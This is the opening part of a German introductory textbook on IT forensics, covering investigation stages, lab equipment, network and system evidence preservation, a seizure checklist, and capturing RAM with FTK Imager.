Автор: Mark B.  

Теги: computertechnik   informationssicherheit   internet   forensik  

ISBN: 978-3-7562-7015-6

Год: 2020

Текст
                    
MARK B. BASISWISSEN IT-FORENSIK EINFACH ERKLÄRT
IMPRESSUM Bibliografische Information der Deutschen Nationalbibliothek: Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar. © 2020-2022 Mark B. Herstellung und Verlag: BoD – Books on Demand, Norderstedt ISBN: 978-3-7562-7015-6

INHALTSVERZEICHNIS VORWORT ................................................................................................................. 8 WAS IST IT-FORENSIK ............................................................................................... 10 Cyberkriminalität ............................................................................................................... 12 ABLAUF EINER FORENSISCHEN UNTERSUCHUNG ...................................................... 14 DAS FORENSISCHE LABOR ........................................................................................ 20 BEWEISSICHERUNG IM NETZWERK ........................................................................... 22 Checkliste für die Beweissicherung ................................................................................... 25 RAM-Speicher mit AVML sichern (Linux) ........................................................................... 28 RAM-Speicher von OS X Systemen sichern ....................................................................... 29 RAM-Speicher von virtuellen Maschinen sichern.............................................................. 30 Tipps für die Beweissicherung ........................................................................................... 31 Klonen von Datenträgern .................................................................................................. 32 Vorbereiten der Ziel-Datenträger ...................................................................................... 33 Verschlüsselung der Ziel-Datenträger ............................................................................... 34 Klonen der Datenträger ..................................................................................................... 42 Wenn der Klonprozess abbricht ........................................................................................ 50 Praxisbeispiel USB Stabilizer / Guardonix .......................................................................... 53 Stolpersteine beim Klonen eines Datenträgers ................................................................. 58 Live Imaging ....................................................................................................................... 60 Logisches Sichern von einzelnen Dateien .......................................................................... 64 Schnelle Analyse mit Binalyze AIR ..................................................................................... 74 Netzwerkverkehr aufzeichnen........................................................................................... 86 Pakete auf Unix- und Linux-Rechnern aufzeichnen........................................................... 96 RAM-ANALYSE MIT VOLATILITY ................................................................................ 98 Volatility 3 ........................................................................................................................ 112 ANALYSE VON DATENTRÄGERN.............................................................................. 116 4
Suche nach Dateifragmenten und gelöschten Dateien ................................................... 118 Dateifragmente untersuchen .......................................................................................... 127 Hashing einzelner Dateien und ganzer Ordner ............................................................... 157 E-Mail - Analyse ............................................................................................................... 163 Untersuchen der Windows Registry ................................................................................ 168 Analyse der Browser ........................................................................................................ 185 Dateianalyse .................................................................................................................... 190 Windows Userpasswörter knacken ................................................................................. 195 Timeline-Analyse ............................................................................................................. 200 Volltextsuche und reguläre Ausdrücke............................................................................ 219 RDP FORENSIK ....................................................................................................... 222 NTFS GENAUER BETRACHTET ................................................................................. 226 MAC Timestamps ............................................................................................................. 227 NTFS Index Attributes - $I30 ............................................................................................ 231 Der Papierkorb................................................................................................................. 234 NTFS Journal .................................................................................................................... 236 Volume Shadow Copies ................................................................................................... 243 BILD-FORENSIK ...................................................................................................... 244 TEMPORÄRE DATEIEN ............................................................................................ 254 PDF-ANALYSE ........................................................................................................ 256 EXE-DATEIEN UNTERSUCHEN ................................................................................. 260 FALLBEISPIEL "EMMA CROOK" ............................................................................... 272 LINUX / UNIX FORENSIK ......................................................................................... 286 Erstellen eines forensischen Images mit Linux ................................................................ 297 Untersuchen und Mounten eines Images ....................................................................... 300 Timeline erstellen ............................................................................................................ 302 The Sleuth Kit ................................................................................................................... 307 5
Log2Timeline / Plaso........................................................................................................ 309 Die wichtigsten Linux/Unix - Artefakte............................................................................ 313 IT-FORENSIK ALS TEILAUFGABE DES CSIRT .............................................................. 316 Beispiel Metasploitable Netzwerkverkehr ...................................................................... 319 MOBILTELEFON FORENSIK...................................................................................... 326 Chip-Off Forensik bei alten / unverschlüsselten Geräten ............................................... 327 Telefone entsperren ........................................................................................................ 337 Fallbeispiel Acer Z530 - Carding....................................................................................... 358 EINFÜHRUNG IN BELKASOFT X ............................................................................... 362 CTF Insider Threat mit Belkasoft X .................................................................................. 381 TIPPS ZUM SCHREIBEN VON BERICHTEN ................................................................. 392 NACHWORT ........................................................................................................... 396 BUCHEMPFEHLUNGEN ........................................................................................... 398 6
7
VORWORT IT-Forensik ist ein sehr spannendes und immer wichtiger werdendes Betätigungsfeld. Die Anzahl der Geräte, auf denen sich Daten befinden, wächst stetig und heute tragen wir Datenspeicher in der Hand- oder Hosentasche und am Handgelenk außerdem haben wir Dutzende weitere Datenspeicher am Arbeitsplatz und zu Hause. Es gibt kaum noch Ermittlungen im strafrechtlichen und im gewerblichen Umfeld, an dem keine IT-Forensiker beteiligt sind. Daher ist dieses Arbeitsfeld auch eine gute Karrieremöglichkeit. Ich will Ihnen mit diesem Buch einen Überblick über die einzelnen Teilbereiche und Techniken geben und Ihnen auch gleichzeitig die nötigsten Grundlagen vermitteln, um die ersten Schritte erfolgreich zu meistern. Wenn Sie Fragen, Anregungen oder Kritik loswerden wollen, schreiben Sie mir bitte an: mark.b@seznam.cz In diesem Sinne wünsche ich Ihnen viel Spaß beim Lesen, Lernen und Experimentieren, Ihr Mark B. 8
9
WAS IST IT-FORENSIK In der IT-Forensik geht es darum, durch Ermittlungs- und Analysetechniken Beweise auf einem bestimmten IT-System so zu erfassen und zu sichern, dass sie bei einer Gerichtsverhandlung verwertbar sind. Das Ziel dieses auch als Computer- oder digitale Forensik bezeichneten Fachgebiets besteht darin, eine strukturierte Untersuchung durchzuführen und diese zu dokumentieren, damit sich genau feststellen lässt, welche Vorgänge auf einem IT-System stattgefunden haben und wer dafür verantwortlich war. Die Welt wird immer vernetzter und Computer oder mobile Endgeräte sind wie selbstverständlich in unseren Alltag integriert. Daher werden diese Geräte auch für Straftaten verwendet. Hierbei kann eine Tat direkt mit dem Computer begangen werden (zB Hackerangriffe oder Warenbetrug) oder nur durch den Einsatz von IT-Geräten unterstützt werden (zB eine Lösegeldforderung per EMail). Dabei kommt die IT-Forensik in vielen Bereichen vom privaten Sektor über Behörden bis hin zu Militär, Geheimdiensten und Strafverfolgungsbehörden zum Einsatz. Auch wenn der Begriff Computer-Forensik nach wie vor gebräuchlich ist, impliziert dieser aber einen wesentlich kleineren Bereich, der heutzutage nicht mehr wirklich stimmt. Wir haben es in der IT-Forensik mit allen möglichen Geräten von IoT-Geräten über Telefone, Tablets, Laptops und Standcomputer bis zu digitalen Kameras, Speichermedien, Netzwerkgeräten, Navigationssystemen, uvm. zu tun. Nicht jede forensische Untersuchung endet zwangsläufig vor Gericht, aber dennoch muss man als IT-Forensiker immer davon ausgehen, dass dies passieren wird. Da dann eine forensische Untersuchung immer von der Gegenseite infrage gestellt werden wird, muss die Auswahl der Methoden und Tools sowie das Vorgehen bei der Beweissicherung und Untersuchung, die Dokumentation und Analyse den Standards des Gerichts genügen. Das gilt vor allem für die forensisch korrekte Vorgehensweise bei der Beweissicherung und die lückenlose Dokumentation der Beweismittelkette und der einzelnen Untersuchungsschritte. Eine der größten Herausforderungen in der IT-Forensik ist die Tatsache, dass Gesetzgeber und Gerichte nicht wirklich mit den rasanten Entwicklungen in der IT-Welt mithalten können. Erschwerend kommt hinzu, dass Straftaten im 10
Internet oft grenzüberschreitend stattfinden, was es für die Strafverfolgungsbehörden oftmals deutlich erschwert. Dabei sind die wichtigsten Aufgaben: 1. 2. 3. 4. 5. Das Finden von Beweisen auf IT-Geräten Das Sichern und Bewahren von digitalen Beweisen Das Zuordnen von Handlungen und Vorgängen zu einem Verursacher Datenlecks identifizieren Das Klären von Schäden die durch ein Datenleck oder einen Angriff entstanden sind 6. Das Erstellen eines Untersuchungsberichts 7. Eine Zeugenaussage vor Gericht und/oder das Briefing für eine Zeugenvernehmung Dabei kann man IT-Forensik nach der Art der untersuchten Geräte einteilen: > > > > Computer-Forensik Mobile-Forensik Netzwerk-Forensik usw. Im größeren Zusammenhang ist die IT-Forensik ein Teil des Incident Response Prozess Models. Oft sind IT-Forensiker auch Teil eines CSIRT (Computer Security Incident Response Team). Zumindest muss es im CSIRT forensisch geschulte Mitglieder geben, die eine korrekte Beweissicherung durchführen können. Die generelle Vorgehensweise bei einer Untersuchung ist im ISO Standard ISO/IEC 27037:2012 (https://www.iso.org/standard/44381.html) festgehalten. Ihr Vorgehen sollte zumindest diesem Standard entsprechen. 11
Cyberkriminalität Dies sind Verbrechen, die mit IT-Geräten und/oder in Netzwerken wie dem Internet begangen werden. Hierbei gibt es einige Unterscheidungen, nach denen man diese Verbrechen klassifizieren kann. Nach der Herkunft: > Insider Angriffe, die meistens gefährlicher sind, da aktuelle und ehemalige Mitarbeiter oft genau wissen wo die Schwachstellen liegen oder welche Datenlecks den maximalen Schaden verursachen. > Angriffe von Fremden, die aus Eigennutz, Geltungssucht oder im Auftrag eines Dritten durchgeführt werden. Nach der Art der Beteiligung des IT-Gerätes: > Das Gerät ist das Ziel eines Angriffs (zB unautorisierter Zugriff) > Das Gerät wurde für den Angriff eingesetzt (zB DoS-Angriff) > Das Gerät wurde unterstützend eingesetzt (zB: Telefonat mit Komplizen) Nach der Art des Verbrechens: > > > > > > > > > > > > Verbreitung von Schadware (auch Malware genannt) Ransomware und andere Erpressungsversuche wie Scaremails Hackingangriffe (zB SQL-Injection, Session Hijacking, etc.) Phishing und Pharming Identitätsdiebstahl Spamversand Verkauf illegaler Dienste und Waren (zB im Darknet oder Deepweb) DoS- und DDoS-Angriffe Social Engineering Illegale Verbreitung urheberrechtlich geschützter Werke (Musik, Filme, ...) Cybermobbing etc. Cyberkriminelle werden immer besser darin Angriffe zu verschleiern und auch Schadware wird immer fortschrittlicher und komplexer. Oftmals forscht man den vermeintlichen Urheber eines Angriffs aus, nur um dann bei der Untersuchung der sichergestellten Beweise zu merken, dass der vermeintliche Täter selbst ein Opfer ist, dessen Computer fremdgesteuert wurde. 12
13
ABLAUF EINER FORENSISCHEN UNTERSUCHUNG Bei einer forensischen Untersuchung durchlaufen wir in der genannten Reihenfolge sechs Schritte. Hierbei gibt es keine Abkürzungen und in der Regel sollten die Schritte auch in der genannten Abfolge ausgeführt werden. Es kann in bestimmten Situationen durchaus vorkommen, dass man von der genannten Reihenfolge abweicht oder Schritte überspringt - dies sollte man im Zweifelsfall aber hinreichend und logisch vor Gericht begründen können. 1. Identifikation Hierbei müssen wir bedenken, dass wenn sich in der realen Welt zwei Objekte berühren, dann hinterlassen diese am jeweils anderen Spuren - das nennt man das Locard'sche Prinzip. Das gleiche gilt auch für die digitale Welt! Hier haben wir allerdings das Problem, dass es im digitalen Umfeld oftmals einfacher ist diese Spuren zu verschleiern oder zu fälschen. Darum sollten wir bei der digitalen Forensik auch jede Aussage durch mindestens zwei unabhängige Spuren und/oder Tools bestätigen lassen. 2. Sicherstellen von Medien Beim Sicherstellen muss verhindert werden, dass eine Manipulation vorgenommen wird. Dies können Snapshots von virtuellen Maschinen sein oder das physische Bewachen von Systemen bis zum Eintreffen einer forensisch ausgebildeten Person für die Beweissicherung. Außerdem muss sichergestellt werden, dass die Geräte vom Netzwerk bzw. dem Internet getrennt werden. Ein Komplize könnte über das Internet zB Beweise von einem Mobiltelefon oder Tablet löschen. Dazu muss das Gerät aber den entsprechenden Befehl bekommen und dazu muss es mit dem Internet verbunden sein. Genau darum müssen wir die Internetverbindung trennen! 14
3. Sicherung der Spuren Hier muss einerseits der Zustand dokumentiert werden (zB waren die Geräte eingeschalten, mit dem Internet verbunden, ...) und auch der Vorgang der Beweissicherung (eingesetzte Programme, Geräte, etc.) und das Handling (zB wurde ein PC heruntergefahren oder einfach der Stecker gezogen, wurden Telefone in Faraday-Beutel verpackt, etc.). Computer enthalten volatile und nicht volatile Daten. Der volatile RAM-Speicher geht verloren, sobald ein PC abgeschaltet wird. Durch die Dokumentation des Zustandes der Geräte beim Eintreffen lässt sich im Nachhinein eindeutig nachweisen, dass zB eine Sicherung des RAM-Speichers nicht möglich war. Der RAM-Speicher kann wichtige Beweise enthalten und sollte, falls möglich, gesichert werden. Beim Herunterfahren eines Rechners werden einige Aufräumvorgänge durchgeführt, die Beweise vernichten könnten - daher ist es besser, den Stecker zu ziehen bzw. den Akku zu entfernen. Dinge wie ARP-Cache, Routing-Tabellen oder temporäre Dateien können wichtige Beweise enthalten. Außerdem muss bei der Sicherung der Daten dafür gesorgt werden, dass eventuelle nachträgliche Manipulation nicht möglich ist. Bedenken Sie hierbei, dass manche der Vorgänge wie zB das Erstellen eines RAM-Dumps selber Spuren hinterlassen - so wird das entsprechende Programm selber einen Fußabdruck im Speicher hinterlassen. Der Vorgang muss also klar und nachvollziehbar sein - nicht nur für Sie, sondern auch für einen IT-Forensiker der Gegenseite, der Ihre Ergebnisse überprüft. Andere Einflussnahme auf die Beweise muss verhindert werden - so kann das Anschließen einer Platte an einen Rechner dazu führen, dass das Betriebssystem diese einbindet und Zeitstempel, Thumbnail-Cache und manches andere verändert. Daher muss so etwas mit einem Writeblocker verhindert werden. Ein solcher Hardware-Writeblocker sorgt dafür, dass keinerlei Schreibvorgänge mehr an den Datenträger gesendet werden. Die Geräte gibt es mit allen möglichen Anschlüssen von IDE über SATA und SAS bis zu USB. 15
Wie Sie sehen, gibt es bereits bei der Spurensicherung viele Möglichkeiten, einen Fall zu ruinieren, bevor wir überhaupt mit der Untersuchung begonnen haben. Daher muss diese auch von entsprechend geschultem Personal durchgeführt und im Idealfall mit Fotos dokumentiert werden. Ein wichtiger Teil der Dokumentation ist die schriftliche Aufzeichnung der Beweismittelkette. Hier muss vermerkt werden wie Beweise gefunden, gesichert, transportiert, analysiert, gelagert und ausgewertet werden. Außerdem wird hierauf auch vermerkt wer die genannten Arbeiten, wann durchgeführt hat. Ohne die ordentliche Dokumentation der Beweismittelkette sind die gewonnenen Informationen nicht verwertbar. Die entsprechende schriftliche Dokumentation muss also folgende Fragen beantworten können: > Was sind die Beweise? > Wo wurden diese gefunden? > Wie war der Zustand der Geräte zum Zeitpunkt der Beweissicherung? (einoder ausgeschaltet, mit dem Internet verbunden, war ein User eingeloggt oder war das System mit einem Passwort vor Zugriff geschützt, usw.) > Wie wurden die Beweise gesichert und transportiert? > Wie wurden die Beweise untersucht? (Programme, Programmversionen, Techniken, etc.) > Wann hatten welche Personen Zugang zu den Beweisen und aus welchem Grund? > Wie wurden die Beweise im weiteren Verlauf der Untersuchung benutzt? 4. Untersuchung In der digitalen Forensik arbeiten wir nicht auf den originalen Beweisen. Wir erstellen eine Kopie, dann eine Kopie der Kopie als Backup und dann untersuchen wir die Kopie. Es sollte jederzeit eine Kopie der ursprünglichen Originaldaten vorgehalten werden für den Fall, dass Daten bei der Untersuchung oder Analyse versehentlich konterminiert werden. Außerdem müssen wir davon ausgehen, dass ein erneutes Sichern der Beweise nicht mehr möglich ist. RAM-Speicher geht verloren, Festplatten können beschädigt werden oder geflippte Bits aufweisen und sind dann nicht mehr verifizierbar. Bedenken Sie, dass magnetische Ladungen in Festplatten genau wie elektrische Ladungen in Flash-Speichern mit der Zeit verblassen. In der IT-Forensik 16
haben wir oft mit den Mühlen des Gesetzes zu tun und diese mahlen bekanntlich langsam. Also müssen wir bedenken, dass Beweise auch noch in einigen Jahren für eine erneute Überprüfung verifizierbar sein müssen. Die Verifizierung ist in der Regel das erneute Berechnen eines Hash-Wertes und das Vergleichen mit dem Ergebnis der gleichen Berechnung, die bei der Beweissicherung auf den Originaldaten durchgeführt wurde. Ändert sich nur ein einziges Bit in den Daten, dann resultiert dies in einer Änderung des errechneten Hashs und die Beweise sind nicht mehr vertrauenswürdig. Vor allem SSDs verblassen je nach verwendetem Speichertyp relativ schnell, jedenfalls viel schneller als magnetische Festplatten. Daher sollte auch immer ein zusätzliches Backup der geklonten Datenträger existieren, falls wir aus Versehen an einer Kopie etwas verändern. Außerdem trennen wir in diesem Schritt Beweise von irrelevanten Daten. 5. Analyse Bei der Analyse arbeiten wir die Beweise durch auf der Suche nach neuen Informationen oder Beweisen, die Annahmen stützen. Hierbei versuchen wir bei jedem Durchgang immer nur eine Frage zu beantworten, um uns auf diese vollumfänglich zu konzentrieren. Wir versuchen, mit Gegenproben alle gefundenen Daten Gleiches gilt für automatische Filter die Forensik-Software permanente Eigenkontrolle und Kontrolle der verwendeten entsprechende Sicherheit, wenn wir die Resultate vor Gericht Auftraggeber präsentieren. zu verifizieren. anbieten. Eine Tools sorgt für oder vor einem 6. Präsentation Spätestens zu Beginn dieser Phase werden das Ergebnis der Untersuchung und die gefundenen Antworten auf die Fragen der Auftraggeber verschriftlicht. Voreingenommenheit oder die eigene Meinung haben in diesem Bericht aber nichts zu suchen! 17
Ein solcher Bericht muss klar strukturiert und auch für Laien verständlich formuliert sein und trotzdem alle wichtigen technischen Details enthalten damit ein anderer IT-Forensiker die Arbeitsschritte die zu den Ergebnissen führten und die Ergebnisse selber nachvollziehen kann. Außerdem ist diese auch für uns selbst wichtig. Wenn wir uns in eine Sackgasse verrannt haben, müssen wir in der Lage sein unsere Schritte zurückzuverfolgen um dann herauszufinden, wo unser Fehler lag. Daher beginnt das Erstellen des Reports nicht erst am Ende der Untersuchung, sondern bereits bei der Beweissicherung, Untersuchung und Analyse müssen wir entsprechende Notizen anfertigen, um später beim Schreiben des Berichts keine Details zu vergessen. Noch besser wäre es, den Bericht direkt parallel mit der Untersuchung zu erstellen und jede ausgeführte Aktion und jeden Fund sofort im Bericht zu ergänzen. Oftmals kommt es dann vor, dass wie die Ergebnisse dann auch vor Gericht präsentieren müssen und dort als Zeuge oder Sachverständiger auftreten. 18
19
DAS FORENSISCHE LABOR Im Idealfall ist ein forensisches Labor ein eigens abgesperrter und abgeschlossener Bereich. Sie brauchen auch die entsprechende Privatsphäre, um Beweise zu sichten und zu extrahieren. Zumindest muss der Zugang aber auf ausgesuchte Personen beschränkt werden. Keine Person sollte sich im Labor ohne Grund aufhalten dürfen. Dazu kann man beispielsweise ein Zugangskontrollsystem, Monitoring, Alarmanlagen, etc. verwenden. Wenn nicht an den Beweismitteln gearbeitet wird, haben diese sicher versperrt gelagert zu werden. Dazu muss es einen Tresor oder zumindest einen versperrbaren Schrank geben, zu dem nur diejenigen einen Schlüssel haben, die auch eine Untersuchung durchführen. Zu der Mindestausstattung gehören meiner Meinung nach Faraday-Beutel, die Tablets, Laptops und Mobiltelefone vom Mobilfunknetz abschneiden und Hardware-Writeblocker. Diese relativ günstigen Geräte gibt es zB von den Firmen CRU bzw. WiebeTech, Tableau, Epos, DeepSpar, usw. Hier kann man mit einem USB-Writeblocker beginnen denn so gut wie alle Speichermedien kann man auf USB adaptieren. Im Idealfall hat das Labor Writeblocker für die verschiedenen Anschlüsse. Als Computer würde ich einen PC mit ausreichend Speicher, schnellem Mehrkernprozessor (mindestens 8 Kerne) und mindestens 32GB RAM empfehlen. Für das knacken von Passwörtern sollte die Forensik-Workstation auch noch über eine gute Grafikkarte verfügen. Hierbei haben Mittelklasse Gaming-Grafikkarten das beste Preis-/Leistungsverhältnis. Aus Sicherheitsgründen sollte die Forensik-Workstation nicht mit dem Firmennetzwerk oder Internet verbunden sein währen deiner Untersuchung. Einerseits kann ein Windows-Update einen laufenden Prozess wie das Knacken eines Passwortes oder das Klonen eines Datenträgers abbrechen und andererseits wollen Sie auch nicht riskieren, dass Sie Schadware in ihr Firmennetzwerk entlassen oder das diese eine Backdoor öffnen kann und so eine Untersuchung kompromittiert. Aus dem gleichen Grund sollten auch keine forensischen Berichte auf der Workstation geschrieben werden. 20
Große Labore, die viele Datenträger Klonen, haben meist auch einen eigenständigen forensischen Imager wie zB von CRU, Tableau, Atola, JogiCube, ZXi-Forensic und einigen anderen. Im Gegensatz zu günstigen HDD Docks mit Klone-Funktion, die man ab 40 EUR finden kann, garantieren diese Produkte korrektes forensisches Klonen. Für den Aufpreis von mindestens 1.500 EUR erkauft man sich meiner Meinung nach nur die entsprechende Anerkennung aber die IT-Forensik ist kein Feld, in dem man mit ungetesteten Tools experimentiert. Wenn Sie nicht Dutzende Platten pro Woche klonen müssen, dann benötigen Sie auch keinen forensischen Duplikator. Verwenden Sie einfach einen Writeblocker und das kostenlose Tool FTK Imager mit dem wir in einem der nächsten Kapitel arbeiten werden. Bringen Sie aber keinesfalls die ganze Untersuchung in Gefahr, indem Sie irgendwelche alternativen und nicht erprobten Tools, Programme, etc. verwenden! Ein weiteres sehr günstiges, aber auch sehr praktisches Produkt ist ein MouseJiggler. Dieses kleine USB-Gimmick gibt sich als Computermaus aus und bewegt den Cursor alle paar Sekunden damit der PC nicht in den Schlafmodus geht. Die gängigsten Programme für IT-Forensiker sind EnCase, FTK, OSForensics, Oxygen Forensics, Autopsy, Belkasoft und X-Ways Forensics. Wir werden in diesem Buch mit OSForensics arbeiten, da dieses Tool relativ günstig ist und für die gelegentliche Nutzung sogar eine Monatslizenz anbietet. Im Bereich der Mobile-Forensik haben wir Cellebrite, MASB XRY, Oxygen Forensics und MobilEdit. Wobei ich hier für eine gelegentliche Nutzung MobilEdit empfehlen kann, dass eine Single-Phone Lizenz hat. Es gibt aber auch einige kostenlose Linux-Distributionen die für IT-Forensik zusammengestellt wurden. Hier wären DEFT, CAINE, SANS SIFT und als spezielles System zur Malwareanalyse auch REMnux zu nennen. 21
BEWEISSICHERUNG IM NETZWERK In einem kompromittierten Netzwerk ist das Netzwerk selbst ein guter Ausgangspunkt für eine Untersuchung, vor allem wenn nicht klar ist, welche der Systeme kompromittiert sind, lässt die Kommunikation im Netzwerk darauf schließen, welche Systeme man sich näher ansehen sollte. Aber nicht nur der Netzwerkverkehr an sich, sondern auch diverse Logdateien von Routern, Firewalls, IDS/IPS-Systemen, etc. liefern wertvolle Hinweise. Daher müssen diese ebenfalls gesichert und ausgewertet werden! In bestimmten Fällen sind wir aber rechtlich dazu verpflichtet, Mitarbeiter davon in Kenntnis zu setzen, dass Ihre Aktivitäten überwacht werden, um rechtlichen Schwierigkeiten vorzubeugen falls sich auch private Daten in den aufgezeichneten Datenverkehr befinden. Wann dies verlangt ist, müssen Sie mit dem Auftraggeber bzw. deren Rechtsvertretern klären. Als IT-Forensiker sind wir keine Rechtsexperten und sollten uns im Zweifelsfall Rückversichern und sei es nur, um der eigenen Sorgfaltspflicht Genüge zu tun. Im Idealfall haben wir bei einer derartigen Untersuchung ein Netzwerkdiagramm zur Verfügung um Router, Gateways, Subnets und wie diese zusammenhängen schnell und einfach zu überblicken. Leider ist die Welt nicht immer perfekt und nicht in jeder Situation sind wir willkommen und können auf die Mitarbeit oder Informationen der Personen vor Ort bauen. Selbst wenn sind diese oftmals falsch oder unvollständig. Daher muss jede Information überprüft werden. Gleiches gilt für Netzwerkgeräte - diesen sollten Sie auch nicht zu 100% vertrauen da Beweise manipuliert oder die Konfiguration mittlerweile verändert sein könnte. Allein dies zu erkennen kann für sich allein schon eine ziemliche Herausforderung sein. Daher ist das Zusammenführen von Informationen aus verschiedensten Quellen so wichtig. Nur wenn alle Informationen sich gegenseitig verifizieren und ein stimmiges Bild ergeben ist mit großer Wahrscheinlichkeit davon auszugehen, dass diese korrekt sind. Aber logging bringt auch wieder rechtliche Probleme mit sich und ist darum oftmals nicht so ausführlich, wie man sich das als IT-Forensiker wünschen würde. Unterschiedliche Logformate von unterschiedlichen Geräten machen eine Analyse der Logs auch oftmals aufwendiger als nötig. 22
Ein SIEM (Security Information Management System) wäre die Lösung für solche Probleme. Dies führt Logs aus den unterschiedlichen Quellen zusammen und speichert diese an einem zentralen Ort in einem einheitlichen Format. Allerdings sind diese Systeme kosten- und zeitintensiv bei der Anschaffung, Einrichtung und im Betrieb. Daher sind diese oft nicht vorhanden. Ein Opensource Projekt namens Security Onion will diese Lücken ausfüllen. Dieses System stellt eine Linux-Distribution mit verschiedensten Opensource-Tools dar und ist auch nicht wirklich trivial zu implementieren. Es gibt eine ganze Reihe von Tools um Netzwerkverkehr abzufangen und zu analysieren, aber bevor wir uns die Tools ansehen, will ich Sie noch auf eine Limitierung hinweisen. Ist der Netzwerkverkehr verschlüsselt, dann können wir zwar feststellen, welche Systeme miteinander kommunizieren aber nicht was da an Daten übertragen wird. Grundsätzlich kann man das Aufzeichnen des Netzwerkverkehrs auf drei mögliche Arten realisieren: > Spezielle Geräte, die zwischen den Rechner und das Netzwerk gesetzt werden wie zB ein PacketSquirrel von Hak5. > Mit Port-Mirroring / SPANs (Switch Port Ananlyzer), die auf vielen gemanagten Switchen über das Managementinterface aktiviert werden können > Mit Software, die dann auf dem Gateway für das Netzwerksegment oder dem Client, den wir untersuchen wollen, läuft. Als Softwarelösungen wären folgende Tools zu nennen: > TCPdump > WinPcap > Wireshark Hier ist die Dokumentation besonders wichtig sowie das Hashing der Daten, um später bei der Analyse eine Manipulation auszuschließen. 23
BEWEISSICHERUNG VON COMPUTERSYSTEMEN Beachten Sie, dass Tools zur Sicherung von Beweisen in der Regel AdminRechte benötigen, um die Daten zu sichern. Wie bereits erwähnt müssen wir beim Eintreffen zuerst den Zustand der Geräte feststellen und schriftlich dokumentieren und dann entscheiden welche Schritte wir vornehmen. Ist das System in Betrieb, dann sollten wir zur Sicherheit die volatilen Daten aus dem RAM-Speicher sichern auch wenn wir im Moment noch nicht sicher wissen, ob wir diese brauchen, haben wir nach dem ausschalten keine Chance mehr diese Daten zu sichern. So können wir auch vorbeugen, dass ein Sachverständiger der Gegenseite in den Raum stellt, dass wir eventuelle Beweise im RAM nicht gesichert haben. Danach würde ich im Regelfall den Stecker ziehen oder den Akku entfernen, um das System abzuschalten. So vermeide ich, dass ein ordnungsgemäßes Herunterfahren Cleanup-Routinen ausführt und damit Beweise vernichtet. Das Klonen der Datenträger mache ich in der Regel nicht am laufenden System. Ich entnehme die Datenträger, schließe diese an einem Writeblocker an und Klone sie auf einem meiner Systeme. Dafür brauchen wir keine besonders große Systemleistung und daher verwende ich für diese Aufgabe ein paar alte Laptops, auf denen Windows und FTK Imager laufen. Damit das Klonen nicht ewig dauert, sollten die Laptops zumindest zwei USB 3.x Ports haben (einen für das Quell- und einen für das Zielmedium). Aber nicht in allen Fällen können wir ein System offline nehmen - wenn es sich um ein wichtiges System handelt, dass nicht heruntergefahren werden darf, bleibt uns nichts anderes übrig als die Daten im laufenden Betrieb zu sichern. Ein weiteres Szenario ist die partielle Extraktion von Daten, die zB bei CloudDiensten angewandt wird. Hier werden zB nur die Daten eines Useraccounts gesichert und nicht das ganze System. Es gibt sogar die Möglichkeit, eine Remote-Beweissicherung durchzuführen. Ein relativ einfaches System, das das anbietet, wäre Belkasoft R. 24
Checkliste für die Beweissicherung 1. Fotografieren der vorgefundenen Situation Hierbei sollten Fundort, Zustand (an oder aus, Netzwerkkabel angeschlossen oder nicht, ...) erkennbar sein. Dies dient auch der eigenen Sicherheit - nicht selten wird man beschuldigt einen Schaden verursacht oder etwas verlegt zu haben. 2. Sofortmaßnahmen Stellt ein System eventuell ein Risiko für andere Systeme dar, dann trennen Sie die Netzwerkverbindung oder wenn Sie fürchten, dass Schadware Beweise vernichten könnte, sobald der Kontakt zum Command- und ControllServer abbricht, fahren Sie mit Punkt 3 fort und schalten Sie dann das System aus. 3. Sichern Sie den volatilen Speichern Dieser enthält aktive Netzwerkverbindungen, geladene Programme, DLLs und viele weitere Informationen. Auch wenn Sie meinen, diese Informationen im aktuellen Fall nicht zu brauchen, machen Sie es zu Sicherheit. 4. Schalten Sie das System "hart" ab (Stecker ziehen, Akku entfernen, ...) 5. Fotografieren Sie alle Label des PC Vor allem Seriennummern sind wichtig, um später sicherzustellen, dass es dieser PC ist. Bedenken Sie Geräte werden auch weitergereicht und wir wollen auf jeden Fall Verwechselungen ausschließen. 6. Entfernen Sie alle Datenträger und Fotografieren Sie die Label Hier gilt das Gleiche wie für den PC selbst. 7. Klonen Sie die Datenträger falls nötig vor Ort oder verpacken Sie diese für den Transport stoßsicher und in Antistatik-Beuteln Es kann auch nicht schaden die Beutel oder Transportbehälter zu versiegeln, um sicherzustellen, dass diese nicht geöffnet wurden. Ein einfacher weißer Aufkleber mit Ihrer Unterschrift, der sich nicht zerstörungsfrei entfernen lässt, reicht vollauf. 8. Machen Sie Notizen oder zusätzliche Fotos Es kann eine lange Zeit zwischen dem Sichern der Beweise und dem Schreiben des Berichts vergehen. Sie werden sich Details wie Programmversionen, Uhrzeit, genaue Abfolge, etc. nicht alles so lange merken - daher schreiben Sie es auf, diktieren Sie es oder Fotografieren Sie jeden Schritt! 25
RAM-Speicher mit FTK Imager sichern (Windows) In Windows ist das kostenlose Programm FTK Imager eine der einfachsten Möglichkeiten den RAM-Speicher zu sichern. Dieses Tool können wir von https://accessdata.com/product-download/FTKImager-version-4-5 herunterladen. Alternativ dazu gibt es auch ein kostenloses Tool von Belkasoft. Nachdem wir das Programm gestartet haben, wählen Sie File -> Capture Memory aus und Sie sehen dann den folgenden Dialog: 26
Hier haben Sie die Möglichkeit den Pfad und den Dateinamen für den RAMDump festzulegen und gleich auch den virtuellen Speicher ( pagefile.sys) zu kopieren und eine AccessData-Datei (AD1) anzulegen. Wir brauchen in diesem Fall beides nicht. Die Datei pagefile.sys sichern wir nach dem Ausschalten des Rechners mit dem Klonen der Platte. Klicken Sie auf Capture Memory und warten Sie, bis der Vorgang abgeschlossen ist: Im Vergleich zu dem Tool von Belkasoft bietet uns FTK Imager aber eine ganze Menge weiterer Funktionen. Daher werden wir dieses Tool für einige weitere Aufgaben einsetzen und alternative Tools werde ich nur am Rande erwähnen. Um schon vorab die Registry untersuchen zu können gibt es die Funktion File -> Obtain protected files. Hierbei haben Sie die Auswahl nur die Daten zum Knacken der Login-Passwörter zu sichern oder die gesamte Registry. Da das Klonen einer Platte einige Stunden dauern kann, können wir so schon mit dem Untersuchen der Registry anfangen, während die Platte geklont wird. 27
